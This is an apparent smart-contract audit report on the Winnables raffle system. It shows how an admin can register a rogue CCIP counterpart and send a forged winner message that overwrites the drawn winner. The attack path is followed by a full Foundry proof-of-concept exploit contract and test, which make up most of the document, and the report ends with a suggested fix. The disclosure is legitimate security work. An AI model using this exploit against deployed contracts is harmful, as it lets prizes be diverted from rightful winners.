Obedient Green Aphid

High

# Admins can change raffle's winner in favor of themself

### Summary

As mentioned in readme 
> Winnables admins cannot do anything to prevent a winner from withdrawing their prize

but there is some way that allow admins to change winner of raffle

### Root Cause

`WinnablesTicketManager` and `WinnablesPrizeManager` send messages to each other through CCIP but before send messages to each other they have to set ccip counterpart to allow receive messages,Admin can set every contract as a counterpart for `WinnablesTicketManager` and `WinnablesPrizeManager`, and when chainlink nodes call fullfill `WinnablesTicketManager::fulfillRandomWords` raffle will be prepared to propagated and anyone can call `WinnablesTicketManager::propagateRaffleWinner` to propagate winner to `WinnablesPrizeManager` and after that winners can claim their prizes but admin can change winner easily

https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L134

https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L276

### Attack Path

1-`WinnablesTicketManager::fulfillRandomWords` will be called by chainlink providers
2-Alice call `WinnablesTicketManager::propagateRaffleWinner` and Bob will be selected as winner
3-Admin create a new contract and set that as counterpart for `WinnablesPrizeManager`
4-Admin sendMessage to `WinnablesPrizeManager` from new counterpart and pass arbitrary address as a winner
5-when Bob call `WinnablesPrizeManager::claimPrize` get UnauthorizedToClaim error

### Impact

winners cannot claim their prizes

### PoC

run `forge init --force` in root of project and create new test file and pass below code in that and then run `forge test testChangeWinnerByAdmin -vvv` also for run this test u need install [chainlink-local](https://github.com/smartcontractkit/chainlink-local)
```solidity
pragma solidity 0.8.24;
import {Test} from "forge-std/Test.sol";
import { WinnablesPrizeManager} from "public-contracts/contracts/WinnablesPrizeManager.sol";
import { WinnablesTicketManager} from "public-contracts/contracts/WinnablesTicketManager.sol";
import { WinnablesTicket} from "public-contracts/contracts/WinnablesTicket.sol";



import {IRouterClient, WETH9, LinkToken, BurnMintERC677Helper} from "@chainlink/local/src/ccip/CCIPLocalSimulator.sol";
import {VRFCoordinatorV2BetterMock} from "public-contracts/contracts/mock/VRFCoordinatorV2BetterMock.sol";
import {CCIPLocalSimulator} from "@chainlink/local/src/ccip/CCIPLocalSimulator.sol";
import "forge-std/console2.sol";

import {BaseCCIPSender} from "public-contracts/contracts/BaseCCIPSender.sol";
import {BaseCCIPReceiver, Client} from "public-contracts/contracts/BaseCCIPReceiver.sol";
import { BaseCCIPContract } from "public-contracts/contracts/BaseCCIPContract.sol";
import { BaseLinkConsumer} from "public-contracts/contracts/BaseLinkConsumer.sol";
import {IWinnables} from "public-contracts/contracts/interfaces/IWinnables.sol";
import "public-contracts/contracts/interfaces/IWinnablesTicketManager.sol";
import "public-contracts/contracts/interfaces/IWinnablesPrizeManager.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";


contract PrizeManagerTest is Test {
    WinnablesPrizeManager prizeManager;
    CCIPLocalSimulator public ccipLocalSimulator;
    WinnablesTicketManager ticketManager;
    VRFCoordinatorV2BetterMock mock;
    WinnablesTicket ticket = new WinnablesTicket();
    ArbitraryWinner arbitraryWinner;
    uint64 _chainSelector;
    bool once = true;
    function setUp() public {
        
        ccipLocalSimulator = new CCIPLocalSimulator();

        (
            uint64 chainSelector,
            IRouterClient sourceRouter,
            IRouterClient destinationRouter,
            WETH9 wrappedNative,
            LinkToken linkToken,
            BurnMintERC677Helper ccipBnM,
            BurnMintERC677Helper ccipLnM
        ) = ccipLocalSimulator.configuration();
        _chainSelector = chainSelector;
        
        ccipLocalSimulator.requestLinkFromFaucet(address(this), 1000e18);
        mock = new VRFCoordinatorV2BetterMock(address(linkToken), 0, 0);
        uint64 subscriptionId = mock.createSubscription();
        prizeManager = new WinnablesPrizeManager(address(linkToken), address(sourceRouter));

        ticketManager = new WinnablesTicketManager(
            address(linkToken),
            address(mock),
            subscriptionId,
            "",
            address(ticket),
            address(destinationRouter)


        );
        LinkToken(linkToken).transfer(address(prizeManager), 100 ether);
        LinkToken(linkToken).transfer(address(ticketManager), 100 ether);

        ticketManager.setCCIPCounterpart(address(prizeManager), _chainSelector, true);
        prizeManager.setCCIPCounterpart(address(ticketManager), _chainSelector, true);
        mock.addConsumer(subscriptionId, address(ticketManager));
        ticket.setRole(address(ticketManager), 1, true);
        arbitraryWinner = new ArbitraryWinner(address(linkToken), address(sourceRouter));
         LinkToken(linkToken).transfer(address(arbitraryWinner), 10 ether);
        prizeManager.setCCIPCounterpart(address(arbitraryWinner), _chainSelector, true);
        deal(address(this), 10 ether);
        



    }

    function testChangeWinnerByAdmin() external {

        
        prizeManager.lockETH{value: 1 ether}(address(ticketManager), _chainSelector, 1, 1 ether);

        ticketManager.createRaffle(1, uint64(block.timestamp), uint64(block.timestamp + 1 days), 1, 2, 2);
        bytes memory signature = _signMessageByAdmin();
        ticketManager.buyTickets(1, 2, block.number, signature);

        ticketManager.drawWinner(1);
        mock.fulfillRandomWords(1, address(ticketManager));
        ticketManager.propagateRaffleWinner(address(prizeManager), _chainSelector, 1);

        (
        uint64 startsAt,
        uint64 endsAt,
        uint32 minTicketsThreshold,
        uint32 maxTicketSupply,
        uint32 maxHoldings,
        uint256 totalRaised,
        IWinnables.RaffleStatus status,
        uint256 chainlinkRequestId
        ) = ticketManager.getRaffle(1);

        arbitraryWinner.sendMessage(address(prizeManager), _chainSelector, 1, address(123));

        IWinnablesPrizeManager.RafflePrize memory raffle = prizeManager.getRaffle(1);
        assertEq(raffle.winner, address(123));


    }

    function onERC1155Received(address, address, uint256, uint256, bytes memory) public virtual returns (bytes4) {
        return this.onERC1155Received.selector;
    }
    function _signMessageByAdmin() internal returns(bytes memory){
                uint userNonces = ticketManager.getNonce(address(this));
        uint256 raffleId = 1;
        uint16 ticketCount = 2;
        uint msgValue = 0;
        (address admin, uint256 adminPk) = makeAddrAndKey("admin");

        bytes32 hash = keccak256(
            abi.encodePacked(
                address(this), userNonces, raffleId, ticketCount, block.number, msgValue
            )
        );

        bytes32 ethSignedHash = ECDSA.toEthSignedMessageHash(hash);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(adminPk, ethSignedHash);
        bytes memory signature = abi.encodePacked(r, s, v);
        ticketManager.setRole(admin, 1, true);
        return signature;
    }
    receive() external payable {


    }



}

contract ArbitraryWinner is BaseCCIPSender, BaseCCIPReceiver {
    constructor(
        address _linkToken,
        address _ccipRouter
    ) BaseCCIPContract(_ccipRouter) BaseLinkConsumer(_linkToken) {
        LinkToken(LINK_TOKEN).approve(_ccipRouter, type(uint256).max);
    }

    function _ccipReceive(Client.Any2EVMMessage memory message) internal override{
    }

    function sendMessage(address des, uint64 chainSelector, uint256 raffleId, address winner) public {
       _sendCCIPMessage(des, chainSelector, abi.encodePacked(uint8(IWinnablesTicketManager.CCIPMessageType.WINNER_DRAWN), raffleId, winner));
    }
    }
```

### Mitigation

sender address should validate in WinnerablePrizeManager and prize manager should check raffle.winner value before update 